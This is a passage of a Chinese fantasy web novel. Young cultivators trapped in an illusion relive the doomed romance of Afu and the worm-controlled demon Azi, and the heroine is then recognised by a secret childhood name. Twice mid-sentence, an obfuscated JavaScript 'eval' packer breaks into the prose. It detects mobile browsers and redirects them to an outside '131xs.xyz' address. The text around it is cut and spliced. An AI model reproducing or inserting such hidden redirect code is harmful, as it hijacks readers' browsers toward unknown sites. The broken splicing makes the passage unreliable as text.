几个人对视一眼,悄悄跟在她身后,走出了院子。 月悬中天,阿芙独自行走在深夜里。夜色微凉,风穿薄树,带起枯枝沙沙的轻响。零星的虫鸣自蓬草深处断续响起,时高时低,点缀着夜的寂静,如残夏未尽的叹息。 她一路远离小院,走出村子,停在白日里那株花簇成群的芙蓉树下。 “她要做什么?” 薛成昭小声问。 下一瞬,只见阿芙将手伸向腰间。 云海川立即反应过来,跃步上前,摘下一朵芙蓉花,小心地递到她手边。 果然,阿芙将芙蓉花当作玉牌,在空中画出符文。 “连在梦里都不忘向仙门传递消息,看来阿芙的执念很深啊。” 云海川蹙眉。 话音刚落,只听身后传来急促的脚步声。 “芙娘!” 几人转身,正与阿紫对上眼。 阿紫见到他们,顿时警觉起来,缓步上前绕到阿芙身侧,将她挡在身后,沉声道:“几位是什么人,为何会与我家娘子在一起?” 云靖朝他行礼道:“我们几个是青冥山灵剑派弟子,下山游玩历练,借住在山神庙中,偶然见到这位姑娘独自在村中游荡,出于关心,这才悄悄跟在她身后。” 阿紫身形一顿,不自觉捏紧了手:“你们是仙门中人?” “正是。”灵秋走上前,“夜间阴气甚重,正是山中妖物出巢之时。看你二人身无法力,最好赶紧回家,不要乱走。” “这位公子?” 见阿紫出神地盯着灵秋,云靖忍不住出声唤他,顺便不动声色地挪动脚步,将灵秋往自己身后遮掩几分。 阿紫回过神来,忙道:“原来是这样,多谢几位仙君。” 他转身牵过阿芙的手,目光落在她腰间,顿了一顿,而后引着她一步步往回走去。 直到二人的身影消失在村道尽头,云靖才拿出阿芙的玉牌。 奇怪的是,玉牌表面光滑至极,空空如也,既没有刻花,也没有门派姓名,根本看不出归属哪门哪派。 为了以防万一,几人合力将玉牌毁去。 回去的路上,灵秋走在最后,神色不虞。 “其实我们这样做对阿芙一点也不公平。” 或许是因为天生青睐美的事物,她对阿芙总有种莫名的亲近感。 灵秋道:“倘若这不是阿紫的幻境,阿芙就该将他一剑杀了才好。” 此话一出,旁边的两个少年皆皱起眉。 薛成昭道:“阿紫对阿芙真心相待,他们俩人该终成眷属才对!” “真心?”灵秋嗤笑,“真心是这世间最可笑的东西。身处乱世,唯有修为和手中宝剑才是唯一的依靠。阿芙为了一只妖怪放弃一切,你所谓的终成眷属于她根本毫无意义,不过是遂了阿紫的愿罢。” “所以倘若换做是你,也会和阿芙做出同样的选择,对吗?” 云靖站定在原地,目光沉沉地望向她。 “当然不会。”灵秋凝神道:“为妖物自折羽翼何其荒谬?若我是阿芙,以我的修为,一开始就会在众人面前将他击杀。” “即便他以真心待你?” “自然。” “即便……他不是妖?” “不是妖?” 灵秋停顿了一下,仿佛是在努力带入阿紫不是妖的情境。 片刻,她道:“管他是人是妖还是鬼,若要我为区区一颗心舍弃修为,遭天下人误解唾骂,我自一剑斩之,决不容情。” 云靖静静看着她,瞳仁深处一点点暗了下去。 他低下头,灵秋见他还杵在原地,皱眉唤他,云靖却没有应,只微微侧过脸去,抬脚跟上去。 一路上,薛成昭还在喋喋不休地发表“真心论”,云海川不时呛他几句,剩下两人却各自沉默。 灵秋用余光瞄过身边的人。 睫毛投下浅淡的阴影,鼻梁高挺,眉骨锋利,唇线却偏生柔和,好看依旧好看,只是多了几分奇怪的静默,唇角紧紧抿着。 像一只收起尾巴的小狗,乖乖跟在身边,却连耳朵也不肯动一动了。 她不免有些在意,然而转瞬之间又想到从前在魔域自己贵为太女,从未在意过身边仆从的喜乐。 苦日子过得太久,就连如何对待仆人都忘了。 灵秋决定不再去深究云靖的行为,反正他既自愿为仆,有些情绪总该自己调和。 作为主人,她只管保他一命即可。 翌日清晨,几人早早拜别村长,在村口蹲守半晌,终于等到姗姗来迟的阿芙和阿紫。 阿芙面色焦灼,想来是已经发现丢失玉牌的事。 她皱着眉大步往前走,阿紫背着包袱跟在后面,小跑着追上去,从左边绕到右边,阿芙就是赌气不看他一眼。 “都怪你!”阿芙生气道:“你明知道玉碟对我很重要,为什么不替我看好它!” “芙娘,我不是故意的。”阿紫小声哄着她,“都是我的错,你不伤心了,好不好?” 他的语气又软又委屈,眼里急得冒出水光,像被责怪的小狗,尾巴都耷拉着,使劲围着心爱的姑娘转圈儿。 “这简直是无理取闹嘛。”薛成昭远远见了,忍不住小声嘟囔,“玉牌丢了跟阿紫有什么关系?我看他就是太喜欢阿芙了。” 灵秋斜眼看他,冷道:“现在最没资格说这番话的就是我们。” 云海川同时赏了他一个爆栗。 薛成昭只好悻悻闭嘴。 “诶?”突然间,阿芙看到站在村口的四个人,发出一声惊讶的喟叹。 她眼神一亮,走上前来:“几位可是昨晚梦行之时守在我身边的仙长?” 薛成昭惊讶:“你认识我们!?” 他倒吸一口凉气:“难道你昨晚是清醒的!?” 那他们做的事岂不是暴露了! 好在下一瞬,阿芙摆摆手:“是阿真今日早上告诉我的。” 阿真? 她转头看向阿紫,像是同他确认,神色显然有些紧绷:“阿真,这几位就是昨日的仙长吧?” 原来这时候他还不叫阿紫。 灵秋顺着阿芙的目光看向阿紫,只见他也盯着自己,目中隐约闪过陌生。 半晌,阿紫才磕磕绊绊地应声:“是……” 听到肯定的回答,阿芙脸上的表情终于如释重负般松懈下来。 她向四人行礼道:“我昨晚梦行之时不慎丢失了腰间悬挂的玉碟,敢问几位仙长可有偶然瞧见?” 灵秋摇摇头:“并未。” 云海川道:“看两位带着包袱,不知是打算往哪儿去?” 阿芙闻言有些失望,阿紫及时答道:“我们往北。” 他对几人仿佛全然没了防备,毫不犹豫地脱口而出真实的路线。 云海川立即道:“真实太巧了,我们也正要往北走。既然同路,不如结伴,两位以为如何?” “好啊,那真是太巧了!” 阿紫答应得痛快,反倒是阿芙看起来有些犹豫。不过她瞧一眼面前四人,目光落在灵秋的脸上,最终点了点头。 一行人就这么结伴往北走去。 与印象中截然不同,北边的城池外再没有重重肃穆的伏魔阵法,街道也不再冷寂。 金色的晨光洒在石板路上,街道两旁早已热闹非凡,茶铺伙计的吆喝声、糖葫芦摊的铃铛声混在一起,有挑担吆喝的、出门揽客的、靠在二楼栏杆上嗑瓜子的,还有街边游乐嬉戏的……人人脸上都带笑意,好一幅无忧无虑、热闹繁华的盛世图景。 云海川和薛成昭愣在原地,简直呆住了。 在灵秋的记忆中,就连五百多年后最繁华的丹碧峰也比不上眼前之景的十之一二。 不同不仅是街景,还有人们脸上的表情。 原来没有魔族侵扰的世界是这样的。 一行人各怀心思走入人群,阿紫一眼看到街市中间的老人,兴奋地跑过去,再回来时,变戏法儿似的变出一串糖葫芦来。 他把糖葫芦递给阿芙,小心观察着她的表情。 阿芙果然没接。 阿紫的脑袋立刻耷拉下去,像霜打的茄子。 然而下一刻,阿芙凑到他耳边轻轻说了什么,于是转眼间,阿紫又满血复活,嘴角高高扬起,一扭头钻入了人群。 旁边的几人正困惑,下一瞬,眼前突然出现四串裹着蜜糖、晶莹剔透的糖葫芦。 阿紫不由分说地把糖葫芦塞进几人手里,旁边的阿芙微微一笑:“几位仙长不必客气!” 她接过阿紫手中剩余的唯一一串糖葫芦,先递到他嘴边,然后再笑眯眯地自己咬上一口。 “为什么要给我们买?” 灵秋皱眉,不动声色地瞪了眼旁边迫不及待把糖葫芦往嘴里塞的薛成昭。 搞不好下了毒。 云靖注意到她的动作,眼神一暗,没等阿芙回答,自己拿起糖葫芦一口咬下。 嚼嚼嚼。 噼里啪啦的脆响声惹得灵秋转身,投来一个“你是不是疯了?”的眼神。 阿芙看出她的疑虑,扑哧一笑。 下一瞬,灵秋的脑袋突然被人轻轻揉了一下。 阿芙微微俯下身子,认真望进她的眼睛,温柔道:“其实我见你的第一眼就觉得很投缘,因为你长得很像我认识的一个人。” 灵秋不自然地偏过脑袋:“是谁?” 阿芙微笑道:“我的妹妹。你和我妹妹长得很像,尤其是眼睛。” 她道:“看你们不过十七八岁的样子,想必是第一次下山吧。糖葫芦很甜的,尝尝看。” 灵秋看着她亮晶晶的眼睛,找不出拒绝的理由,举起糖葫芦咬了一口。 果然很甜。 糖衣在唇齿间化开,眼前人的笑颜却突然模糊起来。 再回过神,几人在一张桌子上面面相觑,摸摸身上,裹着的竟是厚厚的一层兽皮。 “啊啾!” 对面的薛成昭打了个喷嚏,惊恐道:“我们怎么突然变成这副模样了!这是哪儿?” 他激动地环视四周,只见四周旅客络绎不绝——原来这是一家人气火爆的客栈。 不远处,几颗雪粒子透过窗户洒进屋子,隔着薄薄的一层窗户纸,隐约听得见狂风呼啸。 云海川道:“看来我们已经走到极北之地了。” “看来幻境中时间的流速与外界不同。” 云靖皱眉道:“不知这段时间里,阿芙和阿紫是否还和我们同行?” 话音刚落,只见一侧木梯上快步跑下一个姑娘,一身月白色的冬裳,外罩细密的白狐大裘,眉紧蹙着,一张小脸气鼓鼓的,正是阿芙。 一瞬不见,她长得似乎有些不一样了。 身材圆了些,面色却苍白了些。 薛成昭看着她的装扮,又低头瞧了瞧自己身上粗糙的兽皮,再抬眼看看对面套着狐裘的灵秋和云海川,突然怪叫一声:“为什么我们穿得不一样!?” “为什么你们穿得这么好?” 似乎早已习惯了他的一惊一乍,阿芙走过来,眼皮都不抬一下,径直拉过两个姑娘的手,小声道:“快跟我来!” “真是太生气了!” 屋内,阿芙接过云海川递来的热茶,一拍桌子:“一连三日彻夜不归,真是反了他了!” “我还不是为了多挣些银子!” 楼下,阿紫端起酒杯狠狠闷了一大口,一把拍上薛成昭的肩膀:“小昭兄弟,你一定能懂我,对吧?” 薛成昭尴尬地点点头。 “那你能不能好好劝劝你家凌姑娘,别让她再在我家芙娘耳边煽风点火了!” 阿紫皱眉道:“我知道,她们二人是结拜姐妹,但我所做的一切也都是为了这个家啊。” 他揽过薛成昭的肩膀:“想当初你二人这桩姻缘还是我亲自撮合的,看在这个份上,你可不能见死不救啊!” “姻……姻缘!?我和凌秋!?” 薛成昭被口水呛住,当场咳得满脸通红。 “是啊。”阿紫疑惑地看着他,“你二人不是三日前就已经成婚了吗?” 咔嚓—— 耳边突然传来瓷片碎裂的清脆声响。 阿紫惊讶地抬眼看去,只见云靖坐在对面,脸色阴沉,鲜血顺着指缝汩汩流出。 他当即惊呼道:“哎呀云兄!你怎么这么不小心啊!” 鲜血汹涌,云靖却毫不在意。 他噌地一下站起来,一把揪住阿紫的衣领,眼神冷得像要吃人,咬牙切齿道:“你、说、谁、和、谁、成、婚、了?” 瞬间,一股威压从他周身溢出。 砰砰砰! 一桌酒菜都被炸成了飞灰,阿紫被他掐着脖子,动弹不得,脸色憋得青紫。 薛成昭惊恐地看着眼前这一幕,电光火石间,他突然灵光一现! 都连起来了! 难怪大师兄会脸红! 薛成昭也顾不上咳嗽了,连忙站起来,试图去拦云靖的动作,附在他耳边连连道:“幻境,幻境,大师兄,这是幻境,都是假的!” 楼下的动静终于惊动了屋内的人。 灵秋第一个冲出来,看到眼前的景象,怒喝道:“你们在做什么!” 听到她的声音,云靖才终于放开阿紫。 阿芙从楼梯上跑下来,第一个注意到云靖滴血的手,眼中的担忧立即被怒意覆盖。 她眼眶一酸,委屈道:“云公子一向刚正不阿,连他都看不下去,你却还不知悔改!” “我……” 阿紫不知如何辩白,只觉得近几日阿芙格外敏感,就连平日里最不起眼的小事也要同他闹上小半日的脾气。 极北之地苦寒,为了补贴家用,他舍弃修为,没日没夜地在外奔波,别说回家,就连觉也来不及睡,若非因为他不是凡人,恐怕早就劳累过度而死了。 阿紫从没过过这样的日子,原本心里想着阿芙多少也能宽慰几分,谁料却根本得不到心爱之人的体谅。 他一瞬间也感觉十分委屈,口不择言道:“我之所以沦落到今天这个地步,还不是为了你!” “怎么?你后悔了是吗?”阿芙大口喘息着,生气极了,“你要是后悔,就滚啊!我告诉你,没了你我一样能活得很好!” “没有我,你也活得好……”阿紫不可置信地重复着她的话,终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没了狐裘,手脚被冻得发红,灵秋跟在阿芙身后,正跺脚搓手,下一瞬,一件带着体温的外袍从天而降,罩住了她。 与此同时,两道声音同时响起。 “老爷爷,来一串糖葫芦。” “请问还有糖葫芦卖吗?” 鼻尖充斥着不属于深冬的桂花甜香,灵秋掀开袍子一瞧,阿芙和阿紫站在雪中,望着对方,两人都呆了。 “对、对不起。” 第一个啪嗒啪嗒掉眼泪的居然是阿紫。 他一说话,阿芙也跟着哽咽起来。 薛成昭赶紧向对面的三人使眼色:“走,走啊!” 四个人悄悄退到远处,临走时还不忘拉上卖糖葫芦的老头。 付了钱,老头把摊子扔下,哼着小曲儿走了。四个人躲到远处的柱子后面,定睛瞧着那边两个人的动静。 “啊啾!” 云海川打了个喷嚏,薛成昭看着她身上单薄的冬衣,如梦初醒般脱下自己的外袍。 “喏,拿去。” 云海川没接,上下扫他一眼:“从小到大,你的身体可比我弱多了,留着自己用吧。” 薛成昭撇撇嘴,想想也是,干脆重新把衣服穿上,没想到刚穿一半,旁边的云靖就握住他的手。 “这里是幻境,云姑娘受伤了。” “对啊!” 薛成昭恍然大悟。 这回,他不由分说地把衣服塞给了云海川。 “笨蛋。”最边上的灵秋忍不住骂他。 她目不转睛地盯着远处的阿芙和阿紫。 握手了。 抱在一起了。 然后…… 突然之间,眼前一黑。 柔软的皮肤带着冰冰凉凉的触感贴上眼睛,灵秋整个人愣了一下。 她正想挣扎,耳边传来云靖的声音:“不许动。” 不许动? 不许? 她偏要动! 灵秋用力去扒云靖的手,谁料此人死死捂住她的眼睛,说什么也不让。 “你不能看这个!” “我什么都可以看!” 两个人较着劲,双双失去平衡,栽倒在雪地上。 终于重见光明,身下不是冰凉刺骨的雪,是罪魁祸首带着体温的身体。 灵秋狠狠瞪他一眼,正想起身往那边张望,却被他一勾手重新拉回去。 “不能看。” 云靖脸色不太对劲。 他越这么说,灵秋越是好奇,立即下定决心一探究竟。 “我偏要看!” 她狠狠踢他一脚,云靖吃痛,手却一点也没松,反倒把她按向自己。 “这么想看……不如,我教你?” 说着,他握住灵秋的手,牵引着她寸寸抚过少年英挺的眉目,最终落在嫣红的唇畔。 眼睛里浓得化不开的,是沉黑的夜色,像不见底的深潭。 灵秋一愣,突然觉得身上的外袍好像有些太厚了,连躺在雪地里也在发热。 她想抽回手,却被握得更紧,指尖触到柔软的嫣红,惹得身下人呼吸一乱。 他的声音有些哑:“不看了?” 满天飞雪洒向人间 灵秋道:“不看就不看!” 大雪落在眉目发间,将青丝染白。 她终于从他身上滚下来,仰面躺在雪地上。 一点也不冷。 “大师兄,你们怎么躺在雪地上啊?” 薛成昭终于挣脱云海川的障眼咒,惊讶地看着地上的人。 “该回去了。” 云海川不语,只拍拍身上的落雪,站起来。 那边,阿芙和阿紫仍抱在一起,只是两人的脸蛋都变得红扑扑的。 “这样看来,他们应该已经真心相爱了吧。” 薛成昭看着远处相拥的人,话音刚落,四周景象又开始变幻模糊。 启明星还未升起,月亮潜藏在云层深处,比画面更先触及五官的是刺鼻的血腥味。 身下,是泥泞的土地。 灵秋低头,只见泥水与血水混在一起,洁白的雪地一片污糟,身下的衣袍几乎完全被浸透。 手指一动,触到某个冰凉的物体,她努力眨眼,试图看清眼前的景象,再定睛,只见手中抓着的赫然是一截断肢! 天像一层铁布死死压在头顶,面前的客栈已经沦为废墟,抬眼望去,尸横遍野,就像某种野兽突然造访,不管不顾、大开杀戒。 空气中混杂着血腥与浊气,妖气与魔气交融,仿若人间炼狱。 刷—— 是刀剑破空的声音! 灵秋猛地回头。 远处,身着紫衣的男子手持长剑,剑锋深深没入对面人的小腹。 他面前,阿芙用双手紧紧握住剑锋,眼中含泪,鲜血淋漓。 阿紫将长剑狠狠没入阿芙体内,看向她的眼神充满厌恶,再无半分柔情。 他冷笑道:“这么久,我总算是装够了!” 噗嗤—— 剑尖在空中划出一道弧线,鲜血如雨般洒落。 阿芙捂着小腹,脱力地向后栽去。 36.雾中见我情地恨天(5) 灵秋跌跌撞撞地爬起来,还没站稳便脱力地重新跪倒下去。 她这才发现自己的左腿不知何时被一股魔气贯穿。 鲜血汩汩涌出,沿着衣摆蜿蜒滴落,染红了地面。那块皮肉几乎被整个撕开,血肉翻卷,露出一截白森森的腿骨,还能看见筋腱微微抽动。 粗糙的红雪磨破手心,她来不及思考眼前景象的荒谬,强忍疼痛飞奔向阿芙。 几步远的地方,视线穿过地上横躺的尸体,灵秋猛地一顿。 兽皮覆盖之下,赫然出现一张再熟悉不过的脸。 是薛成昭! 她转头一望,脚下一软,身后,云海川的手被血泡得发白,无力地耷拉在地上,早已气绝多时。 灵秋脑中一片空白,本能般调动法力。 剑气破空,冲着远处的阿紫飞射去。 铮—— 下一瞬,阿紫猛地侧身,两指并拢,毫不费力地夹住那道剑气,露出讥诮的笑容。 “居然还没死?” 说着,提剑向她走来。 身体就像被定格住一样僵硬,灵秋眼睁睁地看着长剑逼近自己,竟然一动不动。 “不要!” 最后一刻,阿芙发出一声凄厉的哀嚎,用尽全力从地上挣扎起身,飞扑到她身前。 噗嗤—— 这一次,锋利的剑毫无防备地贯穿了她的心脏。 刹那间,整个世界都失去声音。 灵秋看见阿紫的瞳孔逐渐放大失焦,浅青色的瞳仁骤缩成一条细线,脸上的神情竟有一瞬迷茫。 阿芙颤抖着握上长剑。 刷! 剑脱力般轻易地从她体内抽出,带起点点狰狞的血滴,溅在阿紫的握剑的手上。 他像被灼伤般,不知所措地后退一步。提剑,立于漫天乌云之下。 夜色气漆黑,灵秋再看不清阿紫的表情。 怀中,阿芙无力地瘫软着,秋水明瞳已然涣散。 啪嗒、啪嗒…… 不属于她的眼泪如断线的珠子般接连落下。 阿芙抓着她的手,抚上自己受伤的小腹,口中喃喃,语调已经无法连贯。 灵秋俯身凑到她嘴边,只听她急促地重复着:“孩……孩子……” 声音那么轻,陡然间,长剑坠地,面前的阿紫猛地抬头。 泪水和血水混在一起,灵秋看到自己飞射出一道法咒,悲愤中失了准头,堪堪擦过阿紫的衣袍。 仅用两指便能阻下她全力一击的人,因她这道几乎无效的咒语跪倒下去。 污糟的雪点子染红了紫衣。 “我杀了你!” 灵秋听到自己愤怒的喊叫,划破天际,在尸横遍野的废墟上空回转。 她泪眼模糊地爬起来,衣袍却被阿芙拽住。 “不……要。”一颗晶莹的泪划过脸颊,她用尽全力,最后对她道:“先……救人。” 救人…… 灵秋迷茫地看向阿芙,随着她的目光看向远处。 夜风裹挟着血腥与焦土的味道。 断裂的梁柱倾斜压倒在废墟间,残石碎瓦堆成一道道灰色山丘。 几个凡人蜷缩在那里,脸上沾满尘灰与血迹,身子因恐惧控制不住地颤抖。 他们四周,层层符咒圈出一方安全之地。 结界因接连的消耗和攻击爬满密密麻麻的裂痕。本该早就灰飞烟灭的阵法却诡异地坚/挺着。 灵秋不受控制地走向那方,只见人群中间,一道身影盘腿端坐。 凝霜剑自头顶落下,贯穿他的身体,如擎苍之柱,孤撑残界。 无数符文环绕在他身侧,残光明灭,灵秋几乎看不清他的脸。 又有什么看清的必要呢? 一瞬间,周遭的一切尽数变作惨淡的空白。 灵秋缓缓抬手,艰难的动作像是在与某种不可抗力拼命对抗。 牙关紧闭,有血顺着嘴角流出。 刷! 终于,剑气割开手腕,灵脉暴露在浑浊的空气中。 轻念咒语,鲜血浮空。 特殊的血气凝出阵法,远处的阿紫猛地朝她投来一眼。 下一瞬,天地崩裂! 再醒来时,小腿的痛楚不复存在,只剩灵脉上那道最后关头被她自己划破的伤口。 淡淡的血腥气弥漫在鼻尖,同时,一股温热的灵力正源源不断地灌入体内。 灵秋转头,只见云靖铁青着一张脸,站在旁边替自己疗伤。 他身侧,站着安然无恙的薛成昭和云海川。 “幻境遵循主人的记忆,所以我们应该是代替了阿紫记忆中本就存在的人,经历了他们的结局。” 云靖低头解释,不看她一眼,手上动作也不停。 细小的血珠往下坠落,灵秋低头,正看见脚下的废墟,以及独自呆立在废墟中心的阿紫。 周围的一切都在缓慢地崩塌。 薛成昭心有余悸道:“这感觉也太真实了,我差点以为自己真的死了。” 他惊讶极了:“没想到最后竟然是阿紫自己杀了最爱的人!难怪他的执念这么深!” “看来我们失败了。”云海川道:“现在该怎么办?” “别急。”云靖看向脚下,“幻境还没有结束。” 果然,他话音刚落,几人眼前之景又开始变幻。 世界变得很模糊,就像主人的记忆。 眼前乱石嶙峋,像是一处狭窄的洞穴。 阿紫跪立在地上,双臂被粗重的锁链拉向两侧,手心贯穿,死死钉在石柱之上,像是即将被献祭给某种古老力量的祭品。 锁链上刻满符文,散发出微光,仿佛一道沉重的枷锁,牢牢束缚住他本就已经被禁锢在原地的身体。就像布阵之人尤嫌不妥,层层加码,生怕出现半分疏漏一般。 膝盖之下是冰冷而坚硬的地面,伴随每道符光闪烁,阿紫的身体便随之一颤,痛楚顺着骨骼渗透进五脏六腑,鲜血则顺着锁链滴落在地,染红身下的硬土。 如隔雾看花,四人成了完全的旁观者,与眼前的场景间仿佛隔了一层透明的障壁。 难道这是仙门的审判? 下一瞬,阴影处徐徐走出一个人。 白衣胜雪,只有一道模糊至极的背影。 那人一出现,原本垂头安静的阿紫突然像发狂的野兽般躁动起来。 锁链发出沉重的闷响,他急迫地冲向那人,又被四周符咒挡回去,跪倒在地上狼狈地喷出数口鲜血。 “为什么要杀她!为什么!” 阿紫双目猩红,死死盯着那人,牙齿几乎咬碎,声音带着撕裂般的嘶哑。 “放心。她没那么容易死。” 那人居高临下地看着他。 阿紫抬头看着他:“你有办法可以救她?” “自然。”那人顿了顿,语调带笑,“想让我救她,你拿什么来换?” 阿紫浑身颤抖:“连我的身体都为你所控,我身上还有什么是你想要的?” 两行血泪顺着他的脸颊滚下,面前的白衣人哂笑一声,从袖中掏出一只玉瓶。 灵秋心下一颤。 那是魔族专用于饲养血蛊的蛊瓶!只有魔族中极有地位的人才有办法取得。 眼前这个人是魔!? “只要你将此物服下,我就帮你救她。” 那人话音刚落,阿紫毫不犹豫道:“我愿意。只要能救她,我什么都愿意做。” 咔哒—— 是蛊虫钻入骨血的声音。 阿紫猛地跪倒在地,指尖死死扣进泥土,脊背拱起,浑身痉挛,皮肤下隐隐浮现出诡异的黑纹,寸寸蔓延至整个小臂。 凄厉的嚎叫在空荡的洞穴中回响,他扭曲跪伏于地,仿佛经受着巨大的痛苦折磨,哀嚎间锁链剧烈晃动,被贯穿的手掌,骨肉寸寸剥离。 声调被蛊虫蚕食得支离破碎,痛苦到极点,阿紫不管不顾地撞向四周锋利的石壁,却被那人施法制住动作。 “让我死!让我死让我死让我死!” 他忍不住带上哭腔,哀戚道:“求你让我去死……” 那人看着他的惨状,冷笑一声。 这厢,薛成昭早已忍不住用手虚虚掩住了眼睛,不忍再看这幅残忍至极的画面。 “原来阿紫是被控制才会对阿芙下手。”他怒道:“究竟是哪门哪派,手段竟如此残忍下作!真是恶心至极!” “既是血蛊,自然与魔族脱不了干系。”云海川面色冷峻,“此人定不是仙门中人。” 终于,蛊虫完全融入阿紫的血肉。 那人走近,抬起他因痛苦苍白的脸,笑道:“除了她,你就没有别的人想救吗?比如……那个尚未出世的孩子。” 阿紫猛地瞪大眼睛。 “孩子……”他激动地抓住那人的衣袍,口中语调因方才的折磨已不成次序,几乎只剩呜咽,“救,救……救……” “可以。”那人道:“这一回,我要和她在一起的全部记忆。” “和她的……记忆……” 阿紫仰起头,长发被汗水与血浆黏在一起,缠绕在脖颈上,漂亮却浑浊的眼睛里骤然划过一丝清明。 那是他最后拥有的东西。 阿紫沉默着。 寂静中,有细微的声音传来。 浅红的泪砸在地上,在身前形成小小的湖泊。 滴答—— “我答应你。” 血溅在紫袍上。 “今日封印你于此江底,从现在起,你无名无姓,五感俱失,永生永世,不得逃离……” 白色身影消失在阴影中,天地被永夜覆盖。 身侧,云靖指尖燃起明亮的火光。 灵秋松了口气,继续看下去。 锁链消失,阿紫彻底晕死过去。再醒来,周身血迹一扫而空。 好像忘记了什么重要的东西? 是什么呢? 阿紫拼命敲着脑袋。 好疼!好疼! 手臂上,青黑色的细线翻涌蠕动。 这是什么东西! 血……血…… 要放血!放血才能冷静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478199|166455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来! 剧痛中,他用锋利的岩石猛地划破皮肤。 鲜血滚滚而出。 好疼!好疼!为什么还是这么疼! 血……是血蛊…… 没错!是血蛊! 这是哪里? 难道我犯了错……难道这里是传说中禁锢罪人的禁地? 我犯了错……对,我是罪人…… 可是我做了什么……为什么想不起来…… 漫长的黑夜里,阿紫独自打发着时光,绵延不尽的石壁成为他唯一的陪伴。 他割开血脉,以血为墨,开始在石壁上描绘图案。 笔触舞动,灵力变幻,交织出绮丽的色彩。 一年、两年,十年、百年,记忆越来越模糊,他逐渐忘了自己,忘了一切,踽踽独行在漫无边际的黑暗中,不断变幻着形态。 有时是动物,有时是花草。 不是……不是……都不对! 我究竟是什么东西! 阿紫拼命敲着脑袋。 因为穿紫衣,不知过了多久,第一个意外闯入这里的修士为他取名“阿紫”。 “这里只有石头,我大概是只石头精……” 听了修士的话,阿紫沉吟片刻。 他有了名字,对着修士笑笑,露出活泼的小白牙。 “你伤得这么重,我现在带你出去吧!” 他化作腾空的龙形,热切地邀请修士。 凌空的瞬间间,身上蛊虫翻滚,龙不受控制地扭曲抽搐。 重伤的修士被狠狠甩下地面,转眼便没了生息。 阿紫悲怆地立在尸体面前,手臂上的蛊虫却咆哮蠕动着,控制着他上前,颤手捧起修士的尸体。 血肉在唇齿间炸开! 时间在流逝,阿紫清醒的时候越来越少。在蛊虫的控制之下,他开始长久地保持龙形。 “万虫之主!一跃成龙!” “万虫之主!一跃成龙!” 尖细呼喊声从龙的喉间传出,狂热嘈杂的声音如有万虫嘶吼。 黑雾弥漫,隐约中,清醒的紫袍青年用尽灵力,在洞穴最深处的空地上拔起一座剔透的水晶宫殿。 “不要出来!” 他跌跌撞撞地将受伤的修士带入宫殿,设下禁制。转眼间却又被蛊虫驱使着冲入殿内,亲手杀死一个又一个重伤的修士。 最后的画面停留在巨大的水晶石壁前。 阿紫耗尽灵力,再变不出斑斓的色彩。 他忍着剧痛,在巨大的水晶石壁上画出一幅幅壁画,预言了自己的结局。 狂乱的笔触和仅存的清明一并被吞噬殆尽。 龙骨盘踞在水晶宫四周,在潮湿而漫长的岁月里,与彩色的石壁融为一体。 明黄的独眼挂在天际,残存的执念化作幽魂,继续盘旋在整座江底。 失去记忆,失去理智,失去一切。 终于成为蛊虫意志的傀儡。 四个人目瞪口呆地看着这一切。 沉默。 天地间只剩下沉默。 突然,一道巨响撕裂空气,刹那间,气流狂涌。 云海川大喊道:“幻境要坍塌了!” 一股强大的力量撕扯着灵体,仿佛要把灵魂活活撕碎。 几人立即合力起阵。 符文炸裂,杀气铺天盖地。 灵秋推开还在为自己疗伤的云靖,力气大到后者脸上露出不可置信的神情。 云靖怔怔盯着她,手还悬在半空。 灵秋没有去管,召唤剑气,飞劈向面前的煞气。 浓雾乍起,冰刃破空而出,却抵不住深渊巨口般的虚空。 幻境之中,万物皆沦为灰烬,锋利的煞气割破身体。 混乱中,灵秋顺手抓住身前摇摇欲坠的薛成昭。 俯仰之间,她将薛成昭奋力往后一带,自己却不受控制地滑向狂潮般汹涌的雾气。 最后一眼,灵秋只看到云靖脸上慌乱的神情。 她脱力地往后栽倒,掌心凝诀,正欲殊死一搏,身体却突然被人稳稳拖住。 灵秋回头一看。 竟然是阿紫! 他手臂上蜿蜒着小指粗细的蛊虫,周身冷寂,看向她的眼神却柔和得诡异。 周遭逐渐平静下来,阿紫抓着灵秋的手臂,带着她缓缓落地,身形不安地晃动着,几近透明。 刷—— 剑气毫不留情地横上脖颈,灵秋撤开身子,后退数步,欲将他除之而后快。 突然间,阿紫薄唇轻启,望着她,定定唤道:“小满……” 言罢,竟簌簌滚下两行清泪。 灵秋愣了一下,随即瞳孔骤缩,不可思议道:“你叫我什么!?” 母亲的留在世间的唯一一封亲笔信里清楚地写着:“唯有一女小满……” 这个称呼在魔域时她百般试探,就连焱狰也一无所知,可以确定,整个天下除了死去的母亲,只有她一人知晓。 灵秋驱使剑气贴近阿紫命脉,怒问道:“你是怎么知道这个称呼的?说!” 37.血藏天命假亦作真(1) “你真的是小满……”阿紫看向她腕间尚未愈合的伤口,扯出一个破碎的笑容,“难怪你会同时身负魔族与天命血脉。” “你知道我的身份?”灵秋道:“你究竟是什么人,和我母亲又是什么关系?” 阿紫抬眼看她:“我与你的母亲不过是昔年旧识罢了。” 泪,顺着白玉般光洁的脸颊滚滚落下。 他的身影被那一点天外微光拉得很长。 “你体内为什么会有血蛊?” 阿紫努力深吸一口气,轻轻闭了下眼,像是用尽全力,把情绪压抑进心底。 他的声音低哑:“你母亲呢,她去哪里了?” “我母亲早就已经死了。”灵秋皱眉,“难道你不知道?” “你母亲……死了!?”阿紫瞪大眼睛,不可置信地看着她,不顾剑气还横在脖间,径直上前,嘶哑道:“她死了……怎么可能!怎么可能!” “魔史载,我母亲死于三百年前。”灵秋收了剑气,“看来你对当年的事一无所知。” 